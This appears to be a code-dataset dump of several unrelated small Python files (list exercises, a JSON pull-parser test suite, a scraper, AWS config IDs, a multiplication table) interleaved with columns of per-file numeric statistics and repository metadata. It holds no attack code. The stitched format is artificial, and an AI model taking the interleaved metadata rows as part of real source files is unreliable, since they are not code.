motorcycles = ['honda', 'yamaha', 'suzuki', 'ducati']
print(motorcycles)
too_expensive = 'ducati'
motorcycles.remove(too_expensive)
print(motorcycles)
print(f"\nA {too_expensive.title()} is too expensive for me.")
# Error
#motorcycles = ['honda', 'yamaha', 'suzuki']
#print(motorcycles[3])
| 20.871429
| 67
| 0.711841
| 164
| 1,461
| 6.286585
| 0.207317
| 0.217265
| 0.192047
| 0.217265
| 0.221145
| 0.186227
| 0.100873
| 0
| 0
| 0
| 0
| 0.003808
| 0.1013
| 1,461
| 69
| 68
| 21.173913
| 0.781417
| 0.064339
| 0
| 0.452381
| 0
| 0
| 0.31273
| 0.048565
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.47619
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
01a91fd8366aa83fad31f5e840d036905722e38a
| 79
|
py
|
Python
|
data_as_code/__main__.py
|
Mikuana/data_as_code
|
339f0c6bcd4e318ad925ceb4ccd6149f980d4032
|
[
"MIT"
] | 2
|
2021-05-18T22:04:22.000Z
|
2021-07-24T19:52:49.000Z
|
data_as_code/__main__.py
|
Mikuana/data_as_code
|
339f0c6bcd4e318ad925ceb4ccd6149f980d4032
|
[
"MIT"
] | 1
|
2021-03-12T22:56:45.000Z
|
2021-03-12T22:56:45.000Z
|
data_as_code/__main__.py
|
Mikuana/data_as_code
|
339f0c6bcd4e318ad925ceb4ccd6149f980d4032
|
[
"MIT"
] | null | null | null |
from data_as_code._commands import menu
if __name__ == '__main__':
menu()
| 15.8
| 39
| 0.721519
| 11
| 79
| 4.181818
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.177215
| 79
| 4
| 40
| 19.75
| 0.707692
| 0
| 0
| 0
| 0
| 0
| 0.101266
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
01b38507b22801f0b417ca21ca242a2d43993b3f
| 1,541
|
py
|
Python
|
python/38041857/dict_count.py
|
jeyoor/stackoverflow-notes
|
e41808daeea947c6930f1943df418d7d9dfb9bf1
|
[
"MIT"
] | null | null | null |
python/38041857/dict_count.py
|
jeyoor/stackoverflow-notes
|
e41808daeea947c6930f1943df418d7d9dfb9bf1
|
[
"MIT"
] | null | null | null |
python/38041857/dict_count.py
|
jeyoor/stackoverflow-notes
|
e41808daeea947c6930f1943df418d7d9dfb9bf1
|
[
"MIT"
] | null | null | null |
from collections import defaultdict
#https://stackoverflow.com/questions/38041857/checking-if-keys-already-in-dictionary-with-try-except
class SimpleDictCounter:
"""Test counting elements using a dict
Here's a next lines of doc comment"""
def __init__(self):
self.number_found = {}
def _count_occurences(self, item):
try:
#this checks to see if the item's already in the dict
self.number_found[item] = self.number_found[item] + 1
x = self.number_found[item]
#here's a line that fixes the issue presented by op
return x
except KeyError:
x = 1
#this adds an item if not in the dict
self.number_found[item] = x
return x
class BetterDictCounter:
"""Test counting elements using a defaultdict
Here's a next lines of doc comment"""
def __init__(self):
self.number_found = defaultdict(int)
def _count_occurences(self, item):
try:
#this checks to see if the item's already in the dict
self.number_found[item] = self.number_found[item] + 1
x = self.number_found[item]
#here's a line that fixes the issue presented by op
return x
except KeyError:
x = 1
#this adds an item if not in the dict
self.number_found[item] = x
return x
if __name__ == "__main__":
#TODO: import a little command line printout demo here (use unit testing too?)
pass
| 33.5
| 100
| 0.613887
| 211
| 1,541
| 4.341232
| 0.350711
| 0.10917
| 0.163755
| 0.165939
| 0.71179
| 0.655022
| 0.655022
| 0.655022
| 0.655022
| 0.655022
| 0
| 0.011342
| 0.313433
| 1,541
| 45
| 101
| 34.244444
| 0.854442
| 0.390006
| 0
| 0.740741
| 0
| 0
| 0.008753
| 0
| 0
| 0
| 0
| 0.022222
| 0
| 1
| 0.148148
| false
| 0.037037
| 0.037037
| 0
| 0.407407
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
01b970d6f7aba14c64362b2d4da3d30670c430db
| 119
|
py
|
Python
|
tests/runtests.py
|
pombredanne/reviewboard
|
15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d
|
[
"MIT"
] | null | null | null |
tests/runtests.py
|
pombredanne/reviewboard
|
15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d
|
[
"MIT"
] | null | null | null |
tests/runtests.py
|
pombredanne/reviewboard
|
15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
import sys
import pytest
if __name__ == '__main__':
sys.exit(pytest.main(sys.argv[1:]))
| 11.9
| 39
| 0.672269
| 18
| 119
| 4
| 0.722222
| 0.194444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.02
| 0.159664
| 119
| 9
| 40
| 13.222222
| 0.7
| 0.176471
| 0
| 0
| 0
| 0
| 0.082474
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
01dfb8c5e51cca523f4ce0e592271b8238d28cef
| 748
|
py
|
Python
|
Program_Python_code/IOT_02/request_2.py
|
skyhigh8591/Learning_Test_Program
|
5f3c0f11874618919002126863772e0dd06a1072
|
[
"MIT"
] | null | null | null |
Program_Python_code/IOT_02/request_2.py
|
skyhigh8591/Learning_Test_Program
|
5f3c0f11874618919002126863772e0dd06a1072
|
[
"MIT"
] | null | null | null |
Program_Python_code/IOT_02/request_2.py
|
skyhigh8591/Learning_Test_Program
|
5f3c0f11874618919002126863772e0dd06a1072
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Mon Jun 15 13:52:25 2020
@author: skyhigh
"""
import requests
from bs4 import BeautifulSoup
url_1 = 'http://192.168.1.27:6060/login'
html = requests.get(url_1)
html.encoding='utf-8'
if html.status_code == requests.codes.ok:
print("ok")
print("//////////////////////////////")
sp = BeautifulSoup(html.text,'html.parser')
data = sp.title
print(data)
print("//////////////////////////////")
data = sp.h1
print(data)
print("//////////////////////////////")
data=sp.button
print(data)
print("//////////////////////////////")
data = sp.find('h1')
print(data)
print("//////////////////////////////")
data = sp.find_all('input',{'id':'Lname'})
print(data)
print("//////////////////////////////")
| 19.179487
| 43
| 0.493316
| 89
| 748
| 4.101124
| 0.539326
| 0.221918
| 0.191781
| 0.19726
| 0.252055
| 0.19726
| 0
| 0
| 0
| 0
| 0
| 0.048048
| 0.109626
| 748
| 39
| 44
| 19.179487
| 0.5
| 0.101604
| 0
| 0.458333
| 0
| 0
| 0.36391
| 0.270677
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.083333
| 0
| 0.083333
| 0.5
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
01fcd8cbdc7cf21337963f505097f318bfc03a9a
| 578
|
py
|
Python
|
returns/ejemplo_1_return_un_valor.py
|
Invarato/Jarroba
|
161d4cf2793586ae52031512bb64fd9b5db2021d
|
[
"Apache-2.0"
] | 2
|
2020-04-13T10:51:49.000Z
|
2020-05-27T03:57:05.000Z
|
returns/ejemplo_1_return_un_valor.py
|
Invarato/Jarroba
|
161d4cf2793586ae52031512bb64fd9b5db2021d
|
[
"Apache-2.0"
] | null | null | null |
returns/ejemplo_1_return_un_valor.py
|
Invarato/Jarroba
|
161d4cf2793586ae52031512bb64fd9b5db2021d
|
[
"Apache-2.0"
] | 1
|
2021-08-05T04:32:58.000Z
|
2021-08-05T04:32:58.000Z
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def dame_un_texto():
return "Texto"
def dame_un_numero():
return 123
def dame_un_booleano():
return True
def dame_un_listado():
return ["A", "B", "C"]
def dame_un_diccionario():
return {
"casa": "house",
"tarta": "cake"
}
def dame_un_none():
return None
if __name__ == "__main__":
valor = dame_un_texto()
print(valor)
print(dame_un_numero())
print(dame_un_booleano())
print(dame_un_listado())
print(dame_un_diccionario())
print(dame_un_none())
| 13.761905
| 32
| 0.608997
| 77
| 578
| 4.155844
| 0.402597
| 0.225
| 0.16875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009112
| 0.240484
| 578
| 41
| 33
| 14.097561
| 0.719818
| 0.072664
| 0
| 0
| 0
| 0
| 0.06367
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.26087
| false
| 0
| 0
| 0.26087
| 0.521739
| 0.26087
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
bf2e7655e78d3dd239644ee433b85a9469aa151a
| 177
|
py
|
Python
|
CDKProjectVer2/AppStacks/ApplicationLoadBalancer/stacks/alb_conf.py
|
binhlh23/cdkbynooddev
|
76a7e903d96fb8ea4df7eaf4224c7d92ae80f076
|
[
"Apache-2.0"
] | null | null | null |
CDKProjectVer2/AppStacks/ApplicationLoadBalancer/stacks/alb_conf.py
|
binhlh23/cdkbynooddev
|
76a7e903d96fb8ea4df7eaf4224c7d92ae80f076
|
[
"Apache-2.0"
] | null | null | null |
CDKProjectVer2/AppStacks/ApplicationLoadBalancer/stacks/alb_conf.py
|
binhlh23/cdkbynooddev
|
76a7e903d96fb8ea4df7eaf4224c7d92ae80f076
|
[
"Apache-2.0"
] | null | null | null |
STACK = 'ALBHDBank'
AZ_1 = 'ap-southeast-1a'
AZ_2 = 'ap-southeast-1b'
AZ_3 = 'ap-southeast-1c'
VPC_ID = 'vpc-0d5fa16a59668d675'
ALBSUBNET = 'subnet-0a436875d4d79e4f5'
| 19.666667
| 39
| 0.694915
| 24
| 177
| 4.958333
| 0.708333
| 0.277311
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.201342
| 0.158192
| 177
| 8
| 40
| 22.125
| 0.597315
| 0
| 0
| 0
| 0
| 0
| 0.585799
| 0.266272
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1727c55fcb9eec78236e2cd22b73a0b2f5e4d15a
| 14,857
|
py
|
Python
|
test/test_pulljson.py
|
Teradata/PyTd
|
5e960ed4c380c4f8ae84d582ad779a87adce5ae1
|
[
"MIT"
] | 133
|
2015-07-27T22:12:58.000Z
|
2021-08-31T05:26:38.000Z
|
test/test_pulljson.py
|
Teradata/PyTd
|
5e960ed4c380c4f8ae84d582ad779a87adce5ae1
|
[
"MIT"
] | 121
|
2015-07-30T18:03:03.000Z
|
2021-08-09T13:46:37.000Z
|
test/test_pulljson.py
|
Teradata/PyTd
|
5e960ed4c380c4f8ae84d582ad779a87adce5ae1
|
[
"MIT"
] | 57
|
2015-07-27T10:41:08.000Z
|
2021-04-26T08:58:57.000Z
|
# The MIT License (MIT)
#
# Copyright (c) 2015 by Teradata
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
from teradata import pulljson
import unittest
import sys
if sys.version_info[0] == 2:
from StringIO import StringIO # @UnresolvedImport #@UnusedImport
else:
from io import StringIO # @UnresolvedImport @UnusedImport @Reimport
class TestJSONPullParser (unittest.TestCase):
def testNextEvent(self):
stream = StringIO("""{"key1":"value", "key2":100, "key3":null,
"key4": true, "key5":false, "key6":-201.50E1, "key7":{"key8":"value2",
"key9":null}, "key10":["value3", 10101010101010101010101, null,
{} ] }""")
reader = pulljson.JSONPullParser(stream)
# Start of object
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
# Key1 - "value"
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key1")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_VALUE)
self.assertEqual(event.value, "value")
self.assertEqual(event.valueType, pulljson.STRING)
# Key2 - 100
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key2")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_VALUE)
self.assertEqual(event.value, 100)
self.assertEqual(event.valueType, pulljson.NUMBER)
# Key3 - null
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key3")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_VALUE)
self.assertIsNone(event.value)
self.assertEqual(event.valueType, pulljson.NULL)
# Key4 - true
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key4")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_VALUE)
self.assertTrue(event.value)
self.assertEqual(event.valueType, pulljson.BOOLEAN)
# Key5 - false
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key5")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_VALUE)
self.assertFalse(event.value)
self.assertEqual(event.valueType, pulljson.BOOLEAN)
# Key6
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key6")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_VALUE)
self.assertEqual(event.value, -2015)
self.assertEqual(event.valueType, pulljson.NUMBER)
# Key7
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key7")
# Start of key7 object
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
# Key8 - value2
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key8")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_VALUE)
self.assertEqual(event.value, "value2")
self.assertEqual(event.valueType, pulljson.STRING)
# Key9 - null
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key9")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_VALUE)
self.assertIsNone(event.value)
# End of key7 object
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.END_OBJECT)
# Key10 - array[0] - value3
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key10")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_ARRAY)
# Key10 - array[0] - value3
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.ARRAY_VALUE)
self.assertEqual(event.value, "value3")
self.assertEqual(event.valueType, pulljson.STRING)
self.assertEqual(event.arrayIndex, 0)
# Key10 - array[1] - 10101010101010101010101
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.ARRAY_VALUE)
self.assertEqual(event.value, 10101010101010101010101)
self.assertEqual(event.valueType, pulljson.NUMBER)
self.assertEqual(event.arrayIndex, 1)
# Key10 - array[2] - null
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.ARRAY_VALUE)
self.assertIsNone(event.value)
self.assertEqual(event.valueType, pulljson.NULL)
self.assertEqual(event.arrayIndex, 2)
# Key10 - array[3] - object
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
self.assertEqual(event.arrayIndex, 3)
# Key10 - array[3] - object
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.END_OBJECT)
self.assertEqual(event.arrayIndex, 3)
# End of key 10 array.
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.END_ARRAY)
# End of object
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.END_OBJECT)
event = reader.nextEvent()
self.assertIsNone(event)
def testDocumentIncomplete(self):
stream = StringIO('{"key":"value"')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key")
with self.assertRaises(pulljson.JSONParseError) as cm:
event = reader.nextEvent()
self.assertEqual(
cm.exception.code, pulljson.JSON_INCOMPLETE_ERROR,
cm.exception.msg)
def testEmptyName(self):
stream = StringIO('{:"value"}')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
with self.assertRaises(pulljson.JSONParseError) as cm:
event = reader.nextEvent()
self.assertEqual(
cm.exception.code, pulljson.JSON_SYNTAX_ERROR, cm.exception.msg)
def testExtraWhiteSpace(self):
stream = StringIO('{\n\t "key"\n\t\t: "\t value\n"} ')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, "key")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_VALUE)
self.assertEqual(event.value, "\t value\n")
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.END_OBJECT)
event = reader.nextEvent()
self.assertIsNone(event)
def testEscapeCharacter(self):
stream = StringIO('{"\\"ke\\"y\\\\" : "va\\"l\\"ue"} ')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
self.assertEqual(event.value, '"ke"y\\')
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_VALUE)
self.assertEqual(event.value, 'va"l"ue')
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.END_OBJECT)
event = reader.nextEvent()
self.assertIsNone(event)
def testEmptyArray(self):
stream = StringIO('[]')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_ARRAY)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.END_ARRAY)
event = reader.nextEvent()
self.assertIsNone(event)
def testMissingColon(self):
stream = StringIO('{"key" "value"}')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
with self.assertRaises(pulljson.JSONParseError) as cm:
event = reader.nextEvent()
self.assertEqual(
cm.exception.code, pulljson.JSON_SYNTAX_ERROR, cm.exception.msg)
def testCommaInsteadOfColon(self):
stream = StringIO('{"key","value"}')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
with self.assertRaises(pulljson.JSONParseError) as cm:
event = reader.nextEvent()
self.assertEqual(
cm.exception.code, pulljson.JSON_SYNTAX_ERROR, cm.exception.msg)
def testColonInsteadOfComma(self):
stream = StringIO('["key":"value"]')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_ARRAY)
with self.assertRaises(pulljson.JSONParseError) as cm:
event = reader.nextEvent()
self.assertEqual(
cm.exception.code, pulljson.JSON_SYNTAX_ERROR, cm.exception.msg)
def testNumberLiteral(self):
stream = StringIO('1')
reader = pulljson.JSONPullParser(stream)
with self.assertRaises(pulljson.JSONParseError) as cm:
reader.nextEvent()
self.assertEqual(
cm.exception.code, pulljson.JSON_SYNTAX_ERROR, cm.exception.msg)
def testStringLiteral(self):
stream = StringIO('"This is a test"')
reader = pulljson.JSONPullParser(stream)
with self.assertRaises(pulljson.JSONParseError) as cm:
reader.nextEvent()
self.assertEqual(
cm.exception.code, pulljson.JSON_SYNTAX_ERROR, cm.exception.msg)
def testObjectMissingValue(self):
stream = StringIO('{"key":}')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.FIELD_NAME)
with self.assertRaises(pulljson.JSONParseError) as cm:
event = reader.nextEvent()
self.assertEqual(
cm.exception.code, pulljson.JSON_SYNTAX_ERROR, cm.exception.msg)
def testArrayMissingValue(self):
stream = StringIO('[1, ,2}')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_ARRAY)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.ARRAY_VALUE)
with self.assertRaises(pulljson.JSONParseError) as cm:
event = reader.nextEvent()
self.assertEqual(
cm.exception.code, pulljson.JSON_SYNTAX_ERROR, cm.exception.msg)
def testArrayInObject(self):
stream = StringIO('{[]}')
reader = pulljson.JSONPullParser(stream)
event = reader.nextEvent()
self.assertEqual(event.type, pulljson.START_OBJECT)
with self.assertRaises(pulljson.JSONParseError) as cm:
event = reader.nextEvent()
self.assertEqual(
cm.exception.code, pulljson.JSON_SYNTAX_ERROR, cm.exception.msg)
def testReadObject(self):
stream = StringIO(
'{"key1":[0,1,2,3,4,{"value":"5"}], "key2":\
{"key1":[0,1,2,3,4,{"value":"5"}]}}')
reader = pulljson.JSONPullParser(stream)
obj = reader.readObject()
self.assertEqual(len(obj), 2)
for i in range(0, 2):
self.assertEqual(len(obj["key1"]), 6)
for i in range(0, 5):
self.assertEqual(obj["key1"][i], i)
self.assertEqual(obj["key1"][5]["value"], "5")
if i == 1:
obj = obj["key2"]
self.assertEqual(len(obj), 1)
def testReadArray(self):
stream = StringIO('[0,1,2,3,4,[0,1,2,3,4,[0,1,2,3,4]],[0,1,2,3,4]]')
reader = pulljson.JSONPullParser(stream)
arr = reader.readArray()
self.assertEqual(len(arr), 7)
for i in range(0, 5):
self.assertEqual(arr[i], i)
for i in range(0, 5):
self.assertEqual(arr[5][i], i)
for i in range(0, 5):
self.assertEqual(arr[5][5][i], i)
for i in range(0, 5):
self.assertEqual(arr[6][i], i)
def testArraySyntaxError(self):
stream = StringIO('[[0,1][0,1]]')
reader = pulljson.JSONPullParser(stream)
with self.assertRaises(pulljson.JSONParseError) as cm:
reader.readArray()
self.assertEqual(
cm.exception.code, pulljson.JSON_SYNTAX_ERROR, cm.exception.msg)
def testIterateArray(self):
stream = StringIO(
'[{"key0}":["}\\"","\\"}","}"]}, {"key1}":["}","\\"}","}"]}, '
'{"key2}":["}","}","\\"}"]}]')
reader = pulljson.JSONPullParser(stream)
i = 0
for x in reader.expectArray():
self.assertEqual(len(x["key" + str(i) + "}"]), 3)
i += 1
if __name__ == '__main__':
unittest.main()
| 39.618667
| 79
| 0.637545
| 1,628
| 14,857
| 5.768428
| 0.130835
| 0.172506
| 0.183154
| 0.15845
| 0.73251
| 0.724843
| 0.690235
| 0.68555
| 0.667874
| 0.664147
| 0
| 0.020772
| 0.241772
| 14,857
| 374
| 80
| 39.724599
| 0.812872
| 0.101501
| 0
| 0.66436
| 0
| 0.00692
| 0.051112
| 0.01353
| 0
| 0
| 0
| 0
| 0.442907
| 1
| 0.062284
| false
| 0
| 0.017301
| 0
| 0.083045
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
17472375f1c4b4f8e39d2a72771872cee4d1cdfb
| 242
|
py
|
Python
|
myia/abstract/__init__.py
|
strint/myia
|
3d00d3fb3df80ab7a264a724226c5f56c6ff1a8a
|
[
"MIT"
] | 222
|
2019-02-13T07:56:28.000Z
|
2022-03-28T07:07:54.000Z
|
myia/abstract/__init__.py
|
strint/myia
|
3d00d3fb3df80ab7a264a724226c5f56c6ff1a8a
|
[
"MIT"
] | 107
|
2019-02-12T21:56:39.000Z
|
2022-03-12T01:08:03.000Z
|
myia/abstract/__init__.py
|
strint/myia
|
3d00d3fb3df80ab7a264a724226c5f56c6ff1a8a
|
[
"MIT"
] | 27
|
2017-11-14T17:58:15.000Z
|
2019-01-14T01:36:09.000Z
|
"""Abstract data and type/shape inference."""
from .aliasing import *
from .amerge import *
from .data import *
from .infer import *
from .loop import *
from .macro import *
from .ref import *
from .to_abstract import *
from .utils import *
| 20.166667
| 45
| 0.719008
| 34
| 242
| 5.088235
| 0.470588
| 0.462428
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.173554
| 242
| 11
| 46
| 22
| 0.865
| 0.161157
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
1787b008080a665a0468c67576b3930c21a8f936
| 379
|
py
|
Python
|
PythonExercicios/ex009.py
|
marcoantonio97/Curso-de-Python
|
b99c6c75e2b845086203b84a71a4013c0658dc44
|
[
"MIT"
] | null | null | null |
PythonExercicios/ex009.py
|
marcoantonio97/Curso-de-Python
|
b99c6c75e2b845086203b84a71a4013c0658dc44
|
[
"MIT"
] | null | null | null |
PythonExercicios/ex009.py
|
marcoantonio97/Curso-de-Python
|
b99c6c75e2b845086203b84a71a4013c0658dc44
|
[
"MIT"
] | null | null | null |
n = int(input('Digite um número: '))
print('{}x1={}'.format(n, (n*1)))
print('{}x2={}'.format(n, (n*2)))
print('{}x3={}'.format(n, (n*3)))
print('{}x4={}'.format(n, (n*4)))
print('{}x5={}'.format(n, (n*5)))
print('{}x6={}'.format(n, (n*6)))
print('{}x7={}'.format(n, (n*7)))
print('{}x8={}'.format(n, (n*8)))
print('{}x9={}'.format(n, (n*9)))
print('{}x10={}'.format(n, (n*10)))
| 31.583333
| 36
| 0.488127
| 66
| 379
| 2.80303
| 0.424242
| 0.378378
| 0.432432
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.062323
| 0.068602
| 379
| 11
| 37
| 34.454545
| 0.461756
| 0
| 0
| 0
| 0
| 0
| 0.234829
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.909091
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
bd70e9d10b5f52ec031ec165eb19c3101f88e547
| 109
|
py
|
Python
|
base.py
|
vicenteneto/online-judge-solutions
|
4176e2387658f083b980d7b49bc98300a4c28411
|
[
"MIT"
] | null | null | null |
base.py
|
vicenteneto/online-judge-solutions
|
4176e2387658f083b980d7b49bc98300a4c28411
|
[
"MIT"
] | null | null | null |
base.py
|
vicenteneto/online-judge-solutions
|
4176e2387658f083b980d7b49bc98300a4c28411
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
'''
